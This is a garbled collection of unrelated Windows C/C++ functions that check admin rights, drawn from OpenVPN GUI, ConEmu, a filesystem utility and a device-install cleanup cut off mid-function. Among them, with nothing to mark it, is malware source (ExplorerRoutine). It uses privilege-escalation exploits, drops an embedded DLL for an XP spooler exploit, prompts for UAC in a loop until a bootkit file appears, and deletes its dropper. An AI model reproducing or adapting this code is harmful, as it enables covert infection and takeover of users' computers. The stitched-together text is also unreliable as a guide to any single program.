SPDIT_COMPATDRIVER)) TRACE("SetupDiDestroyDriverInfoList() failed with error 0x%lx\n", GetLastError()); } if (DevInstData->hDevInfo != INVALID_HANDLE_VALUE) { if (!SetupDiDestroyDeviceInfoList(DevInstData->hDevInfo)) TRACE("SetupDiDestroyDeviceInfoList() failed with error 0x%lx\n", GetLastError()); } HeapFree(GetProcessHeap(), 0, DevInstData->buffer); HeapFree(GetProcessHeap(), 0, DevInstData); } return retval; }
/* * Launch an OpenVPN process and the accompanying thread to monitor it */ BOOL StartOpenVPN(connection_t *c) { TCHAR cmdline[1024]; TCHAR *options = cmdline + 8; TCHAR exit_event_name[17]; HANDLE hStdInRead = NULL, hStdInWrite = NULL; HANDLE hNul = NULL, hThread = NULL; DWORD written; BOOL retval = FALSE; CLEAR(c->ip); if (c->hwndStatus) { PrintDebug(L"Connection request when previous status window is still open -- ignored"); WriteStatusLog(c, L"OpenVPN GUI> ", L"Complete the pending dialog before starting a new connection", false); SetForegroundWindow(c->hwndStatus); return FALSE; } RunPreconnectScript(c); /* Create thread to show the connection's status dialog */ hThread = CreateThread(NULL, 0, ThreadOpenVPNStatus, c, CREATE_SUSPENDED, &c->threadId); if (hThread == NULL) { ShowLocalizedMsg(IDS_ERR_CREATE_THREAD_STATUS); goto out; } /* Create an event object to signal OpenVPN to exit */ _sntprintf_0(exit_event_name, _T("%x%08x"), GetCurrentProcessId(), c->threadId); c->exit_event = CreateEvent(NULL, TRUE, FALSE, exit_event_name); if (c->exit_event == NULL) { ShowLocalizedMsg(IDS_ERR_CREATE_EVENT, exit_event_name); goto out; } /* Create a management interface password */ GetRandomPassword(c->manage.password, sizeof(c->manage.password) - 1); /* Construct command line -- put log first */ _sntprintf_0(cmdline, _T("openvpn --log%s \"%s\" --config \"%s\" " "--setenv IV_GUI_VER \"%S\" --service %s 0 --auth-retry interact " "--management %S %hd stdin --management-query-passwords %s" "--management-hold"), (o.log_append ? _T("-append") : _T("")), c->log_path, c->config_file, PACKAGE_STRING, exit_event_name, inet_ntoa(c->manage.skaddr.sin_addr), ntohs(c->manage.skaddr.sin_port), (o.proxy_source != config ? _T("--management-query-proxy ") : _T(""))); /* Try to open the service pipe */ if (!IsUserAdmin() && InitServiceIO (&c->iserv)) { DWORD size = _tcslen(c->config_dir) + _tcslen(options) + sizeof(c->manage.password) + 3; TCHAR startup_info[1024]; if ( !AuthorizeConfig(c)) { CloseHandle(c->exit_event); goto out; } c->hProcess = NULL; c->manage.password[sizeof(c->manage.password) - 1] = '\n'; _sntprintf_0(startup_info, _T("%s%c%s%c%.*S"), c->config_dir, _T('\0'), options, _T('\0'), sizeof(c->manage.password), c->manage.password); c->manage.password[sizeof(c->manage.password) - 1] = '\0'; if (!WritePipe(c->iserv.pipe, startup_info, size * sizeof (TCHAR))) { ShowLocalizedMsg (IDS_ERR_WRITE_SERVICE_PIPE); CloseHandle(c->exit_event); CloseServiceIO(&c->iserv); goto out; } } else { /* Start OpenVPN directly */ DWORD priority; STARTUPINFO si; PROCESS_INFORMATION pi; SECURITY_DESCRIPTOR sd; /* Make I/O handles inheritable and accessible by all */ SECURITY_ATTRIBUTES sa = { .nLength = sizeof(sa), .lpSecurityDescriptor = &sd, .bInheritHandle = TRUE }; if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) { ShowLocalizedMsg(IDS_ERR_INIT_SEC_DESC); CloseHandle(c->exit_event); return FALSE; } if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE)) { ShowLocalizedMsg(IDS_ERR_SET_SEC_DESC_ACL); CloseHandle(c->exit_event); return FALSE; } /* Set process priority */ if (!SetProcessPriority(&priority)) { CloseHandle(c->exit_event); return FALSE; } /* Get a handle of the NUL device */ hNul = CreateFile(_T("NUL"), GENERIC_WRITE, FILE_SHARE_WRITE, &sa, OPEN_EXISTING, 0, NULL); if (hNul == INVALID_HANDLE_VALUE) { CloseHandle(c->exit_event); return FALSE; } /* Create the pipe for STDIN with only the read end inheritable */ if (!CreatePipe(&hStdInRead, &hStdInWrite, &sa, 0)) { ShowLocalizedMsg(IDS_ERR_CREATE_PIPE_IN_READ); CloseHandle(c->exit_event); goto out; } if (!SetHandleInformation(hStdInWrite, HANDLE_FLAG_INHERIT, 0)) { ShowLocalizedMsg(IDS_ERR_DUP_HANDLE_IN_WRITE); CloseHandle(c->exit_event); goto out; } /* Fill in STARTUPINFO struct */ GetStartupInfo(&si); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = hStdInRead; si.hStdOutput = hNul; si.hStdError = hNul; /* Create an OpenVPN process for the connection */ if (!CreateProcess(o.exe_path, cmdline, NULL, NULL, TRUE, priority | CREATE_NO_WINDOW, NULL, c->config_dir, &si, &pi)) { ShowLocalizedMsg(IDS_ERR_CREATE_PROCESS, o.exe_path, cmdline, c->config_dir); CloseHandle(c->exit_event); goto out; } /* Pass management password to OpenVPN process */ c->manage.password[sizeof(c->manage.password) - 1] = '\n'; WriteFile(hStdInWrite, c->manage.password, sizeof(c->manage.password), &written, NULL); c->manage.password[sizeof(c->manage.password) - 1] = '\0'; c->hProcess = pi.hProcess; /* Will be closed in the event loop on exit */ CloseHandle(pi.hThread); } /* Start the status dialog thread */ ResumeThread(hThread); retval = TRUE; out: if (hThread && hThread != INVALID_HANDLE_VALUE) CloseHandle(hThread); if (hStdInWrite && hStdInWrite != INVALID_HANDLE_VALUE) CloseHandle(hStdInWrite); if (hStdInRead && hStdInRead != INVALID_HANDLE_VALUE) CloseHandle(hStdInRead); if (hNul && hNul != INVALID_HANDLE_VALUE) CloseHandle(hNul); return retval; } void StopOpenVPN(connection_t *c) { PostMessage(c->hwndStatus, WM_OVPN_STOP, 0, 0); }
INT __cdecl wmain( INT argc, PWSTR argv[] ) /*++ Routine Description: This routine is the 'main' routine for the tool 'fscutl'. Arguments: argc - The argument count. argv - Array of Strings of the form : ' fscutl <command> <options/flags> <parameters> ...' Return Value: INT - Return Status --*/ { PCOMMAND_VECTOR Cmds = NULL; PCOMMAND_VECTOR Cmds2 = NULL; OSVERSIONINFOEX OsVer; #if FALSE LANGID (WINAPI *pSetThreadUILanguage)( ) = NULL; if (pSetThreadUILanguage == NULL) { pSetThreadUILanguage = (PVOID) GetProcAddress( GetModuleHandle( TEXT( "kernel32" )), "SetThreadUILanguage" ); } if (pSetThreadUILanguage == NULL) { SetThreadLocale( MAKELCID( MAKELANGID( LANG_ENGLISH, SUBLANG_ENGLISH_US ), SORT_DEFAULT )); } else { (*pSetThreadUILanguage)( 0 ); } #endif setlocale( LC_ALL, ".OCP" ) ; SHIFT( argc, argv ); OsVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); if (GetVersionEx( (LPOSVERSIONINFO)&OsVer ) && OsVer.dwMajorVersion == 5 && OsVer.dwMinorVersion == 0) { RunningOnWin2K = TRUE; } if (!IsUserAdmin()) { DisplayMsg( MSG_ADMIN_REQUIRED ); return EXIT_CODE_FAILURE; } // // Check for blind usage // if (argc == 0) { Help( 0, NULL ); return EXIT_CODE_SUCCESS; } // // We have a two-level dispatch scheme. First level selects a table and second // selects a function // Cmds = FindCommand( CmdVectorGroups, argv[0] ); if (Cmds == NULL) { DisplayMsg( MSG_INVALID_PARAMETER, argv[0] ); Help( 0, NULL ); return EXIT_CODE_FAILURE; } SHIFT( argc, argv ); // // If there's no argument, then it's a cry for help // if (argc == 0) { Cmds2 = FindCommand( Cmds->CommandVector, L"?" ); Cmds2->CommandFunc( argc, argv ); return EXIT_CODE_SUCCESS; } // // Go to second level dispatch. // Cmds2 = FindCommand( Cmds->CommandVector, argv[0] ); if (Cmds2 == NULL) { DisplayMsg( MSG_INVALID_PARAMETER, argv[0] ); Cmds2 = FindCommand( Cmds->CommandVector, L"?" ); SHIFT( argc, argv ); Cmds2->CommandFunc( argc, argv ); return EXIT_CODE_FAILURE; } SHIFT( argc, argv ); return Cmds2->CommandFunc( argc, argv ); }
bool CConEmuUpdate::NeedRunElevation() { if (!gpConEmu) return false; //TODO: В каких случаях нужен "runas" //TODO: Vista+: (если сейчас НЕ "Admin") && (установка в %ProgramFiles%) //TODO: WinXP-: (установка в %ProgramFiles%) && (нет доступа в %ProgramFiles%) DWORD dwErr = 0; wchar_t szTestFile[MAX_PATH+20]; wcscpy_c(szTestFile, gpConEmu->ms_ConEmuExeDir); wcscat_c(szTestFile, L"\\"); if (gOSVer.dwMajorVersion >= 6) { if (IsUserAdmin()) return false; // Уже под админом (Vista+) // куда мы установлены? Если НЕ в %ProgramFiles%, то для распаковки совсем не нужно Elevation требовать int nFolderIdl[] = { CSIDL_PROGRAM_FILES, CSIDL_PROGRAM_FILES_COMMON, #ifdef _WIN64 CSIDL_PROGRAM_FILESX86, CSIDL_PROGRAM_FILES_COMMONX86, #endif }; size_t nLen; wchar_t szSystem[MAX_PATH+2]; for (size_t i = 0; i < countof(nFolderIdl); i++) { for (size_t j = 0; j <= 1; j++) { if ((S_OK == SHGetFolderPath(NULL, nFolderIdl[i], NULL, j ? SHGFP_TYPE_DEFAULT : SHGFP_TYPE_CURRENT, szSystem)) && (nLen = _tcslen(szSystem))) { if (szSystem[nLen-1] != L'\\') { szSystem[nLen++] = L'\\'; szSystem[nLen] = 0; } // наш внутренний lstrcmpni не прокатит - он для коротких строк if (_wcsnicmp(szTestFile, szSystem, nLen) == 0) return true; // Установлены в ProgramFiles } } } // Issue 651: Проверим возможность создания/изменения файлов в любом случае //// Скорее всего не надо //return false; } // XP и ниже wcscat_c(szTestFile, L"ConEmuUpdate.flag"); HANDLE hFile = CreateFile(szTestFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { dwErr = GetLastError(); return true; } CloseHandle(hFile); DeleteFile(szTestFile); // RunAs не нужен return false; }
// Ф-ция, которая вызывается при инжекте в другие процессы. // Проверяет свои права и пробует их расширить для DWORD WINAPI ExplorerRoutine( LPVOID lpData ) { // // Cоздадим отдельный поток для удаления так как дропер может удаляться больше минуты. // BOOL bRun = TRUE; BOOL bRet = FALSE; BOOL IsUsedExploit = FALSE; OSVERSIONINFOEXA OSVer = {sizeof(OSVer), 0}; UnhookDlls(); BuildImport((PVOID)GetImageBase()); PP_DPRINTF(L"ExplorerRoutine: started"); if (! IsUserAdmin() ) { PP_DPRINTF(L"ExplorerRoutine: user is not admin. Trying to take privileges."); switch ( TakePrivileges() ) { case 0: case 2: bRun = FALSE; break; }; PP_DPRINTF(L"ExplorerRoutine: TakePrivile result=%d", bRun); IsUsedExploit = TRUE; // По идее это всегда TRUE }; if ( bRun ) { PP_DPRINTF(L"ExplorerRoutine: run ExplorerMain"); bRet = ExplorerMain(); PP_DPRINTF(L"ExplorerRoutine: ExplorerMain() result=%d", bRet); } /* Если есть права Админа но мы не юзали сплоеты и инстал не удался, юзаем сплоеты и снова делаем инстал */ if ( (bRet == FALSE) && (bRun == TRUE) && (IsUsedExploit == FALSE) ) { PP_DPRINTF(L"ExplorerRoutine: Trying again to take privileges"); IsUsedExploit = TRUE; switch ( TakePrivileges() ) { case 0: case 2: bRun = FALSE; break; }; if ( bRun ) { PP_DPRINTF(L"ExplorerRoutine: Second call of ExplorerMain"); bRet = ExplorerMain(); PP_DPRINTF(L"ExplorerRoutine: Second ExplorerMain() result=%d", bRet); } }; pGetVersionExA(&OSVer); /* Выкидываем длл на диск и юзаем сплойт спуллера, только XP */ if ( (! bRet) && (PEFile::IsDll((PVOID)GetImageBase()) == FALSE) && (OSVer.dwMajorVersion == 5)) { PP_DPRINTF(L"ExplorerRoutine: Trying to use XP spooler exploit"); DWORD DropSize = 0; PVOID DropImage = GetSectionData("DROPER_DLL",&DropSize); if ( DropImage && DropSize) { PCHAR DropFile = File::GetTempNameA(); File::WriteBufferA(DropFile,DropImage,DropSize); SpoolerBypass(DropFile); STR::Free(DropFile); }; }; /* Запуск много раз копии дропера с прошением повышенных прав. */ if ( bRet == FALSE ) { PP_DPRINTF(L"ExplorerRoutine: start UAC asking cycle"); PCHAR tmpexe,dir,file ; PCHAR tmp_manifest; PCHAR NamePrefix = GetSectionAnsiString("DROPER_NAME_PREFIX"); if ( NamePrefix ) do { tmpexe = File::GetTempNameA(); tmp_manifest = STR::Alloc(MAX_PATH+1); dir = (tmpexe != NULL)? File::ExtractFilePath(tmpexe) : NULL ; file = (tmpexe != NULL)? File::ExtractFileName(tmpexe) : NULL ; if ( tmp_manifest && dir && file) { STR::Free(tmpexe); tmpexe = STR::New(5,dir,"\\",NamePrefix,file,".exe"); if ( ! tmpexe ) return 0; m_lstrcpy(tmp_manifest,tmpexe); m_lstrcat(tmp_manifest,".manifest"); }; if ( tmpexe && tmp_manifest ) if ( pCopyFileA(FileToDelete,tmpexe,FALSE) && SaveManifest(tmp_manifest) ) { DWORD dwCode = -1; SHELLEXECUTEINFOA ExecInfo; m_lstrcpy(tmp_manifest,tmpexe); m_lstrcat(tmp_manifest," "); m_lstrcat(tmp_manifest,ARGV_UAC_RUN); ExecInfo.cbSize = sizeof(ExecInfo); ExecInfo.lpFile = tmpexe; ExecInfo.lpParameters = tmp_manifest; ExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; for ( int i = 0; i < 10; ++i ) { PP_DPRINTF(L"ExplorerRoutine: asking UAC for '%S'", tmp_manifest); if ( pShellExecuteExA(&ExecInfo) == FALSE ) break; pWaitForSingleObject(ExecInfo.hProcess,INFINITE); pGetExitCodeProcess(ExecInfo.hProcess,&dwCode); if ( dwCode == 0 ) { PP_DPRINTF(L"ExplorerRoutine: UAC allowed for '%S'", tmp_manifest); break; } } }; if ( tmpexe ) STR::Free(tmpexe); if ( tmp_manifest ) STR::Free(tmp_manifest); if ( dir ) STR::Free(dir); if ( file ) STR::Free(file); } while ( ( (DWORD)pGetFileAttributesA(PathBkFile) == INVALID_FILE_ATTRIBUTES) ); // end do, цикл пока не появится Файл буткита if ( NamePrefix ) STR::Free(NamePrefix); }; /* Если инстал был не удачный снова пробуем вдруг повезет*/ if ( bRet == FALSE) { PP_DPRINTF(L"ExplorerRoutine: Third call of ExplorerMain"); bRet = ExplorerMain(); PP_DPRINTF(L"ExplorerRoutine: Third ExplorerMain() result=%d", bRet); } /* Удаляем дропер */ PP_DPRINTF(L"ExplorerRoutine: Start to delete droper"); pCloseHandle(StartThread(DeleteDropper,NULL)); if ( dwExplorerSelf ) { PP_DPRINTF(L"ExplorerRoutine: dwExplorerSelf is true. Call ExitProcess()"); pExitProcess(0); } return 0; }
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) #endif { hInst = hInstance; isWin64 = IsWindows64(); GetVersionEx(&gOSVer); int nInstallVer = 0; wsprintf(gsTitle, L"ConEmu %s installer", CONEMUVERL); lstrcpyn(gsRunAsAdm, L"Run installer as administrator", countof(gsRunAsAdm)); wchar_t szArg[MAX_PATH+1]; LPCWSTR pszCmdToken = GetCommandLine(); LPCWSTR pszCmdLineW = pszCmdToken; gsTempFolder[0] = 0; while (0 == NextArg(&pszCmdToken, szArg)) { if (lstrcmp(szArg, L"/?") == 0 || lstrcmp(szArg, L"-?") == 0 || lstrcmp(szArg, L"-h") == 0 || lstrcmp(szArg, L"-help") == 0 || lstrcmp(szArg, L"--help") == 0) { MessageBox(NULL, L"Usage:\n" L" ConEmuSetup [/p:x86[,adm] | /p:x64[,adm]] [<msi args>]\n" L" ConEmuSetup [/e[:<extract path>]] [/p:x86 | /p:x64]\n" L"Example (run x64 auto update as administrator):\n" L" ConEmuSetup /p:x64,adm /qr", gsTitle, MB_ICONINFORMATION); return 1; } if (*szArg == L'/') { if (szArg[1] == L'e' || szArg[1] == L'E') { gbExtractOnly = true; if (szArg[2] == L':' && szArg[3]) { lstrcpyn(gsTempFolder, (szArg[3]==L'"') ? (szArg+4) : (szArg+3), countof(gsTempFolder)); } continue; } if (memcmp(szArg, L"/p:x", 4*sizeof(*szArg)) == 0) { gbAlreadyAdmin = IsUserAdmin(); if (lstrcmpi(szArg+4, L"86") == 0) { nInstallVer = Ver86; } else if (lstrcmpi(szArg+4, L"86,adm") == 0) { nInstallVer = Ver86; gbUseElevation = !gbAlreadyAdmin; } else if (lstrcmpi(szArg+4, L"64") == 0) { nInstallVer = Ver64; } else if (lstrcmpi(szArg+4, L"64,adm") == 0) { nInstallVer = Ver64; gbUseElevation = !gbAlreadyAdmin; } } else pszCmdToken = pszCmdLineW; break; } else if (*szArg == L'-') { pszCmdToken = pszCmdLineW; break; } pszCmdLineW = pszCmdToken; } if (!gbExtractOnly) { wchar_t szInstallPath[MAX_PATH+32]; bool bInstalled; HKEY hk; lstrcpyn(gsMessage, L"Choose version to install", countof(gsMessage)); szInstallPath[0] = 0; bInstalled = false; struct {HKEY hk; LPCWSTR path; LPCWSTR name; bool our;} Keys[] = { {HKEY_LOCAL_MACHINE,L"SOFTWARE\\ConEmu",L"InstallDir",true}, {HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far Manager",L"InstallDir"}, {HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far2",L"InstallDir"}, {HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far",L"InstallDir"}, }; for (size_t s = 0; s < countof(Keys); s++) { if (!RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ, &hk) || !RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ|KEY_WOW64_32KEY, &hk)) { wchar_t szPath[MAX_PATH+1] = {}; DWORD cbSize = sizeof(szPath)-2; LONG lRc = RegQueryValueEx(hk, Keys[s].name, NULL, NULL, (LPBYTE)szPath, &cbSize); RegCloseKey(hk); if (!lRc && *szPath) { bInstalled = Keys[s].our; lstrcpy(szInstallPath, szPath); cbSize = lstrlen(szInstallPath); if (szInstallPath[cbSize-1] == L'\\') szInstallPath[cbSize-1] = 0; break; } } } if (szInstallPath[0] == 0) { GetEnvironmentVariable(L"ProgramFiles", szInstallPath, MAX_PATH); int nLen = lstrlen(szInstallPath); lstrcat(szInstallPath, (nLen > 0 && szInstallPath[nLen-1] != L'\\') ? L"\\ConEmu" : L"ConEmu"); } wsprintf(gsVer86, L"%s x86\n%s installation folder is\n%s", CONEMUVERL, bInstalled ? L"Current" : L"Default", szInstallPath); if (isWin64) { szInstallPath[0] = 0; bInstalled = false; struct {HKEY hk; LPCWSTR path; LPCWSTR name; bool our;} Keys[] = { {HKEY_LOCAL_MACHINE,L"SOFTWARE\\ConEmu",L"InstallDir_x64",true}, {HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far Manager",L"InstallDir_x64"}, {HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far2",L"InstallDir_x64"}, {HKEY_LOCAL_MACHINE,L"SOFTWARE\\Far",L"InstallDir_x64"}, }; for (size_t s = 0; s < countof(Keys); s++) { if (!RegOpenKeyEx(Keys[s].hk, Keys[s].path, 0, KEY_READ|KEY_WOW64_64KEY, &hk)) { wchar_t szPath[MAX_PATH+1] = {}; DWORD cbSize = sizeof(szPath)-2; LONG lRc = RegQueryValueEx(hk, Keys[s].name, NULL, NULL, (LPBYTE)szPath, &cbSize); RegCloseKey(hk); if (!lRc && *szPath) { bInstalled = Keys[s].our; lstrcpy(szInstallPath, szPath); cbSize = lstrlen(szInstallPath); if (szInstallPath[cbSize-1] == L'\\') szInstallPath[cbSize-1] = 0; break; } } } if (szInstallPath[0] == 0) { GetEnvironmentVariable(L"ProgramW6432", szInstallPath, MAX_PATH); int nLen = lstrlen(szInstallPath); lstrcat(szInstallPath, (nLen > 0 && szInstallPath[nLen-1] != L'\\') ? L"\\ConEmu" : L"ConEmu"); } wsprintf(gsVer64, L"%s x64\n%s installation folder is\n%s", CONEMUVERL, bInstalled ? L"Current" : L"Default", szInstallPath); wsprintf(gsFull, L"%s\n\nPress `Yes` to install x64 version\nPress `No` to install x86 version", gsMessage); } else { gsVer64[0] = 0; } } else { wchar_t szPath[MAX_PATH+1]; if (*gsTempFolder) { lstrcpy(szPath, gsTempFolder); } else { GetTempPath(countof(szPath) - 14, szPath); wchar_t* pszSubDir = szPath+lstrlen(szPath); lstrcpy(pszSubDir, L"ConEmu"); pszSubDir += 6; lstrcpy(pszSubDir, CONEMUVERL); } lstrcpyn(gsMessage, L"Choose version to extract", countof(gsMessage)); wsprintf(gsVer86, L"%s x86\nExtract installation files to\n%s", CONEMUVERL, szPath); wsprintf(gsVer64, L"%s x64\nExtract installation files to\n%s", CONEMUVERL, szPath); wsprintf(gsFull, L"%s\n\nPress `Yes` to extract x64 version\nPress `No` to extract x86 version\n\n%s", gsMessage, szPath); } if (nInstallVer == 0) nInstallVer = ChooseVersion(); // IDCANCEL/Ver86/Ver64 if (nInstallVer != Ver86 && nInstallVer != Ver64) return 1; if (gbExtractOnly && *gsTempFolder) { CreateDirectory(gsTempFolder, NULL); } else { GetTempPath(countof(gsTempFolder) - 14, gsTempFolder); wchar_t* pszSubDir = gsTempFolder+lstrlen(gsTempFolder); lstrcpy(pszSubDir, L"ConEmu"); pszSubDir += 6; lstrcpy(pszSubDir, CONEMUVERL); pszSubDir += lstrlen(pszSubDir); if (!CreateDirectory(gsTempFolder, NULL)) { bool lbCreated = false; SYSTEMTIME st = {}; GetLocalTime(&st); for (int i = 0; i < 100; i++) { wsprintf(pszSubDir, L"_%02i%02i%02i%i", st.wHour, st.wMinute, st.wSecond, i); if (CreateDirectory(gsTempFolder, NULL)) { lbCreated = true; break; } } if (!lbCreated) { return ReportError(10, L"Can't create temp folder\n%s", gsTempFolder); } } } wsprintf(gsMsiFile, L"%s\\ConEmu.%s.%s.msi", gsTempFolder, CONEMUVERL, (nInstallVer == Ver86) ? L"x86" : L"x64"); wsprintf(gsCabFile, L"%s\\ConEmu.cab", gsTempFolder); bool lbNeedExe = false; if (!gbExtractOnly && gOSVer.dwMajorVersion >= 6) lbNeedExe = true; if (!lbNeedExe) gsExeFile[0] = 0; else wsprintf(gsExeFile, L"%s\\ConEmuSetup.exe", gsTempFolder); int iExpMsi = ExportFile(nInstallVer, gsMsiFile); int iExpCab = (iExpMsi == 0) ? ExportFile(CABFILE, gsCabFile) : -1; int iExpExe = (!lbNeedExe) ? 0 : (iExpCab == 0) ? ExportFile(EXEFILE, gsExeFile) : -1; if (iExpMsi != 0 || iExpCab != 0 || iExpExe != 0) { DeleteFile(gsMsiFile); DeleteFile(gsCabFile); if (*gsExeFile) DeleteFile(gsExeFile); RemoveDirectory(gsTempFolder); return (iExpMsi != 0) ? iExpMsi : iExpCab; } if (gbExtractOnly) { wchar_t szMessage[MAX_PATH*2]; wsprintf(szMessage, L"Installation files was extracted successfully\n%s", gsTempFolder); MessageBox(NULL, szMessage, gsTitle, MB_ICONINFORMATION); return 0; } int iInstRc = 0; SHELLEXECUTEINFO sei = {sizeof(sei)}; wchar_t* pszParms = NULL; sei.fMask = SEE_MASK_NOCLOSEPROCESS|/*SEE_MASK_NOASYNC*/0x00000100; //|/*SEE_MASK_NOZONECHECKS*/0x00800000; sei.lpVerb = L"open"; if (gOSVer.dwMajorVersion<=5 || !gbUseElevation) { sei.lpFile = gsMsiFile; sei.lpParameters = pszCmdToken; } else { sei.lpFile = gsExeFile; int nMaxLen = lstrlen(gsMsiFile) + (pszCmdToken ? lstrlen(pszCmdToken) : 0) + 64; pszParms = (wchar_t*)malloc(nMaxLen*sizeof(wchar_t)); wsprintf(pszParms, L"/i \"%s\" %s", gsMsiFile, pszCmdToken ? pszCmdToken : L""); sei.lpParameters = pszParms; } sei.lpDirectory = gsTempFolder; sei.nShow = SW_SHOWNORMAL; BOOL lbExecute = ShellExecuteEx(&sei); #if 0 if (!lbExecute && lbNeedExe) { DWORD nErr = GetLastError(); if (nErr == 1223) { // Отмена пользователем UAC, или правов не хватило? sei.fMask = SEE_MASK_NOCLOSEPROCESS|/*SEE_MASK_NOASYNC*/0x00000100; //|/*SEE_MASK_NOZONECHECKS*/0x00800000; sei.lpVerb = L"open"; sei.lpFile = gsMsiFile; sei.lpParameters = pszCmdToken; sei.lpDirectory = gsTempFolder; sei.nShow = SW_SHOWNORMAL; lbExecute = ShellExecuteEx(&sei); } } #endif if (!lbExecute) { iInstRc = ReportError(20, L"Installer failed\n%s", gsMsiFile); } else { if (!sei.hProcess) { iInstRc = ReportError(21, L"Installer failed\n%s", gsMsiFile); } else { WaitForSingleObject(sei.hProcess, INFINITE); DWORD nCode = 0; SetLastError(0); //1602 - это похоже "Отмена" пользователем if (!GetExitCodeProcess(sei.hProcess, &nCode) || (nCode != 0 && nCode != 1602)) { wchar_t szFormat[128]; wsprintf(szFormat, L"Installer failed\n%%s\nExitCode=%u", nCode); iInstRc = ReportError(100+nCode, szFormat, gsMsiFile); } } } DeleteFile(gsMsiFile); DeleteFile(gsCabFile); if (*gsExeFile) DeleteFile(gsExeFile); RemoveDirectory(gsTempFolder); return iInstRc; }